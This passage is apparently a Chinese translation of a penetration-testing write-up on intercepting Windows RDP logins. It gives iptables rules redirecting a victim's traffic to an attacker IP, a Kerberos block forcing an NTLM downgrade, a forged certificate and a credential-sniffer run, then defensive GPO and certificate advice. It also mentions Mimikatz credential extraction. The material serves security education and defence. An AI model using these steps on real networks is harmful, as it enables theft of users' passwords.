"tcp[tcpflags] & tcp-syn != 0" and \
3
dst port 3389 2> /dev/null | \
4
sed -e 's/.*> \([0-9.]*\)\.3389:.*/\1/'
这个-c1选项 告知tcpdump在第一个数据包匹配之后就退出。这个SYN数据包就会丢失,但没什么关系。很快被攻击者的系统会再次进行尝试。
第三,我们将检索RDP服务器的SSL证书,并创建一个新的自己签名证书,相同的通用名称做为原始凭证。因此,我们可以改变证书的有效期,从表面上很难看出来区别出来它和原先的,除非你花很长时间比较。我写了一个小bash脚本[23]来实现它。
现在,我们删除了iptables规则,重定向了所有来自被攻击者的TCP流量,对于真正的RDP主机连到了我们的IP地址:
1
$ iptables -t nat -A PREROUTING -p tcp -d
"$ORIGINAL_DEST" \
2
-s
"$VICTIM_IP" --dport 3389 -j DNAT --to-destination
"$ATTACKER_IP"
从Kerberos强制降级到NTLM,我们把所有受害者发送到目标端口88的TCP流量全部封锁了:
1
$ iptables -A
INPUT -p tcp -s "$VICTIM_IP" --dport 88 \
2
-j REJECT --reject-with tcp-reset
现在,万事俱备,只需要运行python脚本:
1 $
rdp-cred-sniffer.py -c "$CERTPATH" -k "$KEYPATH"
"$ORIGINAL_DEST"
移除
点击此处添加图片说明文字
图6: 最后! 左边:受害者连接到域控制器上的一个RDP会话视图。右边: 攻击者的纯文本密码视图。(请选择一个比我的测试安装程序更好的密码。)
建议
现在你可能想知道,作为一个系统管理员,做些什么可以让您的计算机网络更安全。
首先,最重要的是,如果服务器合法身份无法被验证,RDP连接是不可能发生的,比如说SSL证书不是由受信任的证书颁发机构(CA)签署。您必须与您的企业CA签署所有服务器证书。客户端必须通过配置GPO【22】以禁止无效证书的连接。
计算机配置→策略→管理模板→Windows组件→远程桌面服务(或终端服务)→远程桌面连接客户端→配置服务器验证客户端身份
是否在服务器端执行CredSSP(NLA)的问题是棘手的。根据记录,这可以铺开作为组策略[20]:
[同上]→远程桌面主机会话(或终端服务器)→安全→通过使用网络层认证来要求用在远程连接中实现认证
既然我们已经看到在NLA下,客户端缓存用户的凭据是不可能方便地重新发送它们的,我们知道这些凭据是在内存中。因此,只要攻击者有管理员权限的话就可以读取它们,比如说Mimikatz
[24]。我们在客户网络中看到一种难以置信的场景:感染一台机器,用mimikatz提取登录用户用于登录的的明文凭证。并且继续这样做,直到你找到域管理员的密码。这就是为什么你应该只在域控制器上使用你的域管理员账户而非其它任何地方。
但是,如果使用RDP远程连接到域控制器上时,在工作站上用高权限账户登录留下了记录,这会是一个很严重的问题。此外,如果你执行NLA,“用户下次登录时须更改密码”被启用的话,在终端服务器工作的用户将被锁定。据我们所知道的,NLA唯一的
优势是它更方便地可以减轻拒绝服务攻击,因为它使用较少资源,也可以保护基于网络的对于RDP的保护:如MS12-020 [25]。这就是为什么我们目前正在讨论是否建议在RDP上禁用NLA。
如果你想避免使用NLA,设置组策略”需要使用特定安全层远程连接“到SSL [ 20 ]。
您还有一个办法来进一步增加RDP连接的安全性,就是除了用户证书外两次使用一个二个二阶的因子。这可能有你想看的第三方产品,至少对于关键的安全系统:比如域控制器。
如果您有通过RDP连接到Windows终端服务器的Linux机器,我要在这里提醒一下,流行的RDP客户端rdesktop不支持NLA,并且在根本不验证SSL证书的有效性。一个
替代方案是xfreerdp,验证证书的有效性。
最后,我们鼓励你教育你的同事和用户对于SSL警告不要掉以轻心,无论是RDP或HTTPS或其他任何东西。作为管理员,您应当确保你的客户端系统在受信任的CA列表有你的根CA。这样一来,这些警告就不会出现,并且不需要打电话给IT部门。
移除
点击此处添加图片说明文字
Figure 7: A crucial GPO setting: Configure
server authentication for client
本文由 看雪翻译小组 fyb波 编译,来源The Pentest Experts
往期热门内容推荐
等你来挑战!| 看雪 CTF 2017 攻击篇
【终于等到你!】看雪 CTF 2017
春风十里,我在等你
【木马分析】谍影追踪:全球首例 UEFI_BIOS 木马分析
惊爆蚂蚁矿机有后门
深圳,一个让我彷徨的“天堂” —— 喜当爹
......
更多优秀文章,长按下方二维码,“关注看雪学院公众号”查看!
移除
点击此处添加图片说明文字
看雪论坛:http://bbs.pediy.com/
微信公众号 ID:ikanxue
微博:看雪安全
投稿、合作:www.kanxue.com
日期:2018-04 浏览次数:6658
日期:2017-02 浏览次数:3340
日期:2017-09 浏览次数:3538
日期:2017-12 浏览次数:3425
日期:2018-12 浏览次数:4677
日期:2016-12 浏览次数:4468
日期:2017-07 浏览次数:13540
日期:2017-12 浏览次数:3385
日期:2018-06 浏览次数:4162
日期:2018-05 浏览次数:4347
日期:2017-12 浏览次数:3466
日期:2017-06 浏览次数:3889
日期:2018-01 浏览次数:3836
日期:2016-12 浏览次数:3806
日期:2018-08 浏览次数:4331
日期:2017-12 浏览次数:3594
日期:2016-09 浏览次数:6285
日期:2018-07 浏览次数:3107
日期:2016-12 浏览次数:3125
日期:2018-10 浏览次数:3281
日期:2018-10 浏览次数:3370
日期:2018-09 浏览次数:3463
日期:2018-02 浏览次数:3484
日期:2015-05 浏览次数:3416
日期:2018-09 浏览次数:3209
日期:2018-06 浏览次数:3335
日期:2017-02 浏览次数:3779
日期:2018-02 浏览次数:4234
日期:2018-02 浏览次数:4040
日期:2016-12 浏览次数:3481
Copyright ? 2013-2018 Tadeng NetWork Technology Co., LTD. All Rights Reserved.